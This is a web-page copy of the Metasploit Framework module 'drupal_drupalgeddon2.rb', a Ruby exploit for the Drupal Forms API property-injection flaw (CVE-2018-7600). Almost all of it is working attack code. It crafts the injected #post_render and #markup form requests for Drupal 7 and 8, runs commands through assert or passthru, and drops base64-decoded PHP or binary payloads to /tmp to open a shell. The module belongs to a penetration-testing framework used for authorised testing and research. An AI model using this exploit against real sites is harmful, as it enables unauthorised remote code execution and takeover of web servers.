Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
32578 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HTTP::Drupal
11
# XXX: CmdStager can't handle badchars
12
include Msf::Exploit::PhpEXE
13
include Msf::Exploit::FileDropper
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
21
'Description' => %q{
22
This module exploits a Drupal property injection in the Forms API.
23
24
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
25
},
26
'Author' => [
27
'Jasper Mattsson', # Vulnerability discovery
28
'a2u', # Proof of concept (Drupal 8.x)
29
'Nixawk', # Proof of concept (Drupal 8.x)
30
'FireFart', # Proof of concept (Drupal 7.x)
31
'wvu' # Metasploit module
32
],
33
'References' => [
34
['CVE', '2018-7600'],
35
['URL', 'https://www.drupal.org/sa-core-2018-002'],
36
['URL', 'https://greysec.net/showthread.php?tid=2912'],
37
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
38
['URL', 'https://github.com/a2u/CVE-2018-7600'],
39
['URL', 'https://github.com/nixawk/labs/issues/19'],
40
['URL', 'https://github.com/FireFart/CVE-2018-7600']
41
],
42
'DisclosureDate' => '2018-03-28',
43
'License' => MSF_LICENSE,
44
'Privileged' => false,
45
'Payload' => { 'BadChars' => '&>\'' },
46
'Targets' => [
47
#
48
# Automatic targets (PHP, cmd/unix, native)
49
#
50
[
51
'Automatic (PHP In-Memory)',
52
{
53
'Platform' => 'php',
54
'Arch' => ARCH_PHP,
55
'Type' => :php_memory
56
}
57
],
58
[
59
'Automatic (PHP Dropper)',
60
{
61
'Platform' => 'php',
62
'Arch' => ARCH_PHP,
63
'Type' => :php_dropper
64
}
65
],
66
[
67
'Automatic (Unix In-Memory)',
68
{
69
'Platform' => 'unix',
70
'Arch' => ARCH_CMD,
71
'Type' => :unix_memory
72
}
73
],
74
[
75
'Automatic (Linux Dropper)',
76
{
77
'Platform' => 'linux',
78
'Arch' => [ARCH_X86, ARCH_X64],
79
'Type' => :linux_dropper
80
}
81
],
82
#
83
# Drupal 7.x targets (PHP, cmd/unix, native)
84
#
85
[
86
'Drupal 7.x (PHP In-Memory)',
87
{
88
'Platform' => 'php',
89
'Arch' => ARCH_PHP,
90
'Version' => Rex::Version.new('7'),
91
'Type' => :php_memory
92
}
93
],
94
[
95
'Drupal 7.x (PHP Dropper)',
96
{
97
'Platform' => 'php',
98
'Arch' => ARCH_PHP,
99
'Version' => Rex::Version.new('7'),
100
'Type' => :php_dropper
101
}
102
],
103
[
104
'Drupal 7.x (Unix In-Memory)',
105
{
106
'Platform' => 'unix',
107
'Arch' => ARCH_CMD,
108
'Version' => Rex::Version.new('7'),
109
'Type' => :unix_memory
110
}
111
],
112
[
113
'Drupal 7.x (Linux Dropper)',
114
{
115
'Platform' => 'linux',
116
'Arch' => [ARCH_X86, ARCH_X64],
117
'Version' => Rex::Version.new('7'),
118
'Type' => :linux_dropper
119
}
120
],
121
#
122
# Drupal 8.x targets (PHP, cmd/unix, native)
123
#
124
[
125
'Drupal 8.x (PHP In-Memory)',
126
{
127
'Platform' => 'php',
128
'Arch' => ARCH_PHP,
129
'Version' => Rex::Version.new('8'),
130
'Type' => :php_memory
131
}
132
],
133
[
134
'Drupal 8.x (PHP Dropper)',
135
{
136
'Platform' => 'php',
137
'Arch' => ARCH_PHP,
138
'Version' => Rex::Version.new('8'),
139
'Type' => :php_dropper
140
}
141
],
142
[
143
'Drupal 8.x (Unix In-Memory)',
144
{
145
'Platform' => 'unix',
146
'Arch' => ARCH_CMD,
147
'Version' => Rex::Version.new('8'),
148
'Type' => :unix_memory
149
}
150
],
151
[
152
'Drupal 8.x (Linux Dropper)',
153
{
154
'Platform' => 'linux',
155
'Arch' => [ARCH_X86, ARCH_X64],
156
'Version' => Rex::Version.new('8'),
157
'Type' => :linux_dropper
158
}
159
]
160
],
161
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
162
'DefaultOptions' => { 'WfsDelay' => 2 }, # Also seconds between attempts
163
'Notes' => {
164
'Stability' => [CRASH_SAFE],
165
'SideEffects' => [],
166
'Reliability' => [],
167
'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']
168
}
169
)
170
)
171
172
register_options([
173
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
174
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
175
])
176
177
register_advanced_options([
178
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
179
])
180
end
181
182
def check
183
checkcode = CheckCode::Unknown
184
185
@version = target['Version'] || drupal_version
186
187
unless @version
188
vprint_error('Could not determine Drupal version to target')
189
return checkcode
190
end
191
192
vprint_status("Drupal #{@version} targeted at #{full_uri}")
193
checkcode = CheckCode::Detected
194
195
changelog = drupal_changelog(@version)
196
197
unless changelog
198
vprint_error('Could not determine Drupal patch level')
199
return checkcode
200
end
201
202
case drupal_patch(changelog, 'SA-CORE-2018-002')
203
when nil
204
vprint_warning('CHANGELOG.txt no longer contains patch level')
205
when true
206
vprint_warning('Drupal appears patched in CHANGELOG.txt')
207
checkcode = CheckCode::Safe
208
when false
209
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
210
checkcode = CheckCode::Appears
211
end
212
213
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
214
token = rand_str
215
res = execute_command(token, func: 'printf')
216
217
return checkcode unless res
218
219
if res.body.start_with?(token)
220
vprint_good('Drupal is vulnerable to code execution')
221
checkcode = CheckCode::Vulnerable
222
end
223
224
checkcode
225
end
226
227
def exploit
228
unless @version
229
print_warning('Targeting Drupal 7.x as a fallback')
230
@version = Rex::Version.new('7')
231
end
232
233
if datastore['PAYLOAD'] == 'cmd/unix/generic'
234
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
235
# XXX: Naughty datastore modification
236
datastore['DUMP_OUTPUT'] = true
237
end
238
239
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
240
case target['Type']
241
when :php_memory
242
execute_command(payload.encoded, func: 'assert')
243
244
sleep(wfs_delay)
245
return if session_created?
246
247
# XXX: This will spawn a *very* obvious process
248
execute_command("php -r '#{payload.encoded}'")
249
when :unix_memory
250
execute_command(payload.encoded)
251
when :php_dropper, :linux_dropper
252
dropper_assert
253
254
sleep(wfs_delay)
255
return if session_created?
256
257
dropper_exec
258
end
259
end
260
261
def dropper_assert
262
php_file = Pathname.new(
263
"#{datastore['WritableDir']}/#{rand_str}.php"
264
).cleanpath
265
266
# Return the PHP payload or a PHP binary dropper
267
dropper = get_write_exec_payload(
268
writable_path: datastore['WritableDir'],
269
unlink_self: true # Worth a shot
270
)
271
272
# Encode away potential badchars with Base64
273
dropper = Rex::Text.encode_base64(dropper)
274
275
# Stage 1 decodes the PHP and writes it to disk
276
stage1 = %{
277
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
278
}
279
280
# Stage 2 executes said PHP in-process
281
stage2 = %{
282
include_once("#{php_file}");
283
}
284
285
# :unlink_self may not work, so let's make sure
286
register_file_for_cleanup(php_file)
287
288
# Hopefully pop our shell with assert()
289
execute_command(stage1.strip, func: 'assert')
290
execute_command(stage2.strip, func: 'assert')
291
end
292
293
def dropper_exec
294
php_file = "#{rand_str}.php"
295
tmp_file = Pathname.new(
296
"#{datastore['WritableDir']}/#{php_file}"
297
).cleanpath
298
299
# Return the PHP payload or a PHP binary dropper
300
dropper = get_write_exec_payload(
301
writable_path: datastore['WritableDir'],
302
unlink_self: true # Worth a shot
303
)
304
305
# Encode away potential badchars with Base64
306
dropper = Rex::Text.encode_base64(dropper)
307
308
# :unlink_self may not work, so let's make sure
309
register_file_for_cleanup(php_file)
310
311
# Write the payload or dropper to disk (!)
312
# NOTE: Analysis indicates > is a badchar for 8.x
313
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
314
315
# Attempt in-process execution of our PHP script
316
send_request_cgi(
317
'method' => 'GET',
318
'uri' => normalize_uri(target_uri.path, php_file)
319
)
320
321
sleep(wfs_delay)
322
return if session_created?
323
324
# Try to get a shell with PHP CLI
325
execute_command("php #{php_file}")
326
327
sleep(wfs_delay)
328
return if session_created?
329
330
register_file_for_cleanup(tmp_file)
331
332
# Fall back on our temp file
333
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
334
execute_command("php #{tmp_file}")
335
end
336
337
def execute_command(cmd, opts = {})
338
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
339
340
vprint_status("Executing with #{func}(): #{cmd}")
341
342
res =
343
case @version.to_s
344
when /^7\b/
345
exploit_drupal7(func, cmd)
346
when /^8\b/
347
exploit_drupal8(func, cmd)
348
end
349
350
return unless res
351
352
if res.code == 200
353
print_line(res.body) if datastore['DUMP_OUTPUT']
354
else
355
print_error("Unexpected reply: #{res.inspect}")
356
end
357
358
res
359
end
360
361
def exploit_drupal7(func, code)
362
vars_get = {
363
'q' => 'user/password',
364
'name[#post_render][]' => func,
365
'name[#markup]' => code,
366
'name[#type]' => 'markup'
367
}
368
369
vars_post = {
370
'form_id' => 'user_pass',
371
'_triggering_element_name' => 'name'
372
}
373
374
res = send_request_cgi(
375
'method' => 'POST',
376
'uri' => normalize_uri(target_uri.path),
377
'vars_get' => vars_get,
378
'vars_post' => vars_post
379
)
380
381
return res unless res && res.code == 200
382
383
form_build_id = res.get_html_document.at(
384
'//input[@name = "form_build_id"]/@value'
385
)
386
387
return res unless form_build_id
388
389
vars_get = {
390
'q' => "file/ajax/name/#value/#{form_build_id.value}"
391
}
392
393
vars_post = {
394
'form_build_id' => form_build_id.value
395
}
396
397
send_request_cgi(
398
'method' => 'POST',
399
'uri' => normalize_uri(target_uri.path),
400
'vars_get' => vars_get,
401
'vars_post' => vars_post
402
)
403
end
404
405
def exploit_drupal8(func, code)
406
# Clean URLs are enabled by default and "can't" be disabled
407
uri = normalize_uri(target_uri.path, 'user/register')
408
409
vars_get = {
410
'element_parents' => 'account/mail/#value',
411
'ajax_form' => 1,
412
'_wrapper_format' => 'drupal_ajax'
413
}
414
415
vars_post = {
416
'form_id' => 'user_register_form',
417
'_drupal_ajax' => 1,
418
'mail[#type]' => 'markup',
419
'mail[#post_render][]' => func,
420
'mail[#markup]' => code
421
}
422
423
send_request_cgi(
424
'method' => 'POST',
425
'uri' => uri,
426
'vars_get' => vars_get,
427
'vars_post' => vars_post
428
)
429
end
430
431
def rand_str
432
Rex::Text.rand_text_alphanumeric(8..42)
433
end
434
435
end
436
437